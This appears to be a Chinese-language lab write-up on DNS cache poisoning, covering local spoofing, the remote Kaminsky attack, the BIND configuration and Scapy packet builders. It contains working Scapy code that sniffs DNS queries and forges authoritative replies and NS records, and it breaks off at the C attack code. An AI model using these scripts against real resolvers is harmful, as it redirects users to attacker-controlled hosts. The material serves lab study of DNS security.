實驗的目的是偽造權威域名伺服器,使所有example.net域的請求都指向attack32.com
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='192.168.230.154')
NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='192.168.230.156')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
步驟: 1、服務端清快取 2、wireshark清空 3、攻擊機執行指令碼 4、使用者機dig 可以看到attack32.com已經被當作權威域名
Warning
這部分書上是透過修改服務端配置檔案的方式來做實驗的,那首先得攻陷伺服器。這裡的方法不用攻陷伺服器只是偽造指令碼實現, 更高明一點。
遠端DNS快取中毒攻擊
本地DNS快取中毒攻擊有一定的侷限性,必須在同一個區域網中。而遠端攻擊嗅探不到DNS請求。 DNS請求中有兩個資料遠端攻擊者很難獲得: 1、UDP頭部的源埠號 DNS請求透過UDP資料包傳送,源埠號是16位元的隨機數字
2、DNS頭部16位元的交易ID
Note
一個欺騙回復必須包含這兩個值,否則回覆不會被接受。遠端攻擊者只能猜測這兩個值,猜到 的機率為2的32次方,如果1秒內發1000個請求,則需要50天。如果用1000個主機的殭屍網路 發起攻擊,則需要1.2小時
而實際由於快取的因素,DNS伺服器不會對同一主機發起第二次請求,除非快取內的結果過期。快取的這個特點 使得攻擊在嘗試第二次攻擊前需要等待,這使得遠端DNS中毒攻擊變得不現實。
Kaminsky攻擊
為了對遠端計算機發動欺騙攻擊,需要完成三個任務: 1、觸發目標伺服器傳送DNS請求 2、傳送欺騙回復 3、使快取失效 前兩個任務很簡單,難度比較大的是第三個,這一直是一個懸而未解的問題,直到Dan Kaminsky提出了一個巧妙的解決 方案,透過他的方案,攻擊者可以持續地發起欺騙攻擊,而不需要等待。
他的思路不是讓快取失效,而是去修改域名伺服器的上一級權威域名伺服器。用一個隨機的二級域名向遠端DNS伺服器發請求, 在上一級權威域名伺服器回覆訊息前,偽造訊息給遠端域名伺服器,帶上NS記錄,如果猜錯則繼續用隨機二級域名重試。
準備攻擊環境
實驗的目的是讓ns.attacker32.com作為example.com的權威域名伺服器 步驟: 0、配置使用者機head檔案和配置DNS伺服器options和第二節一樣 1、DNS伺服器刪除example.com這個區域 2、DNS伺服器設定一個forward區域 由於沒有真正擁有attacker32.com這個域名,但是修改配置也可以達到效果
vi /etc/bind/named.conf
zone "attacker32.com" {
type forward;
forwarders {
192.168.230.156;
};
};
3、配置攻擊機
vi /etc/bind/named.conf
zone "attacker32.com" {
type master;
file "/etc/bind/attacker32.com.zone";
};
zone "example.com" {
type master;
file "/etc/bind/example.com.zone";
};
example.com.zone如下:
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 1.2.3.4
www IN A 1.2.3.5
ns IN A 192.168.230.156
* IN A 1.2.3.4
attacker32.com.zone如下:
$TTL 3D
@ IN SOA ns.attacker32.com. admin.attacker32.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 192.168.230.156
www IN A 192.168.230.156
ns IN A 192.168.230.156
* IN A 192.168.230.156
重啟BIND生效
sudo service bind9 restart
4、在使用者機測試 可以看到這個地址是由攻擊機指定的
指定權威域名伺服器查詢,會得到攻擊機的地址 這是透過修改配置檔案的方式實現了遠端DNS中毒攻擊
攻擊方式實現
實現目標是,當使用者訪問www.example.com時,重定向到一個惡意的www.example.com
完整的DNS查詢過程如下:
example.com名稱伺服器被快取情況下的DNS查詢過程: 以上這個圖,ns.dnslabattacker.net改為ns.attacker32.com
快取情況下的攻擊比較複雜,要拆分成幾個階段 由於這個實驗對回覆包的速度有很高要求,python的scapy速度慢成功機率為0,而用c來構造傳送和響應包程式複雜, 故更好的方案是用scapy來生成包,由c來傳送包
實現構造DNS請求
這個請求是從攻擊者發往DNS伺服器的
from scapy.all import *
target_name="xxxxx.example.com"
ip = IP(dst='192.168.230.154',src='192.168.230.156')
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns
with open('query.bin','wb')as f:
f.write(bytes(Querypkt))
由於請求中xxxxx的名字需要改,我們要知道這個名字在二進位制檔案中的地址,用bless可以看到在0x29,10進製為41
偽造DNS回覆包
from scapy.all import *
targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attacker32.com"
dstIP="192.168.230.154"
srcIP='192.168.230.156'
ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0)
Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns
with open('reply.bin','wb') as f:
f.write(bytes(Replypkt))
同理,找到響應包中transaction ID為0xAAAA的地址為28, 兩個二級域名的地址分別為41、64
c語言攻擊程式碼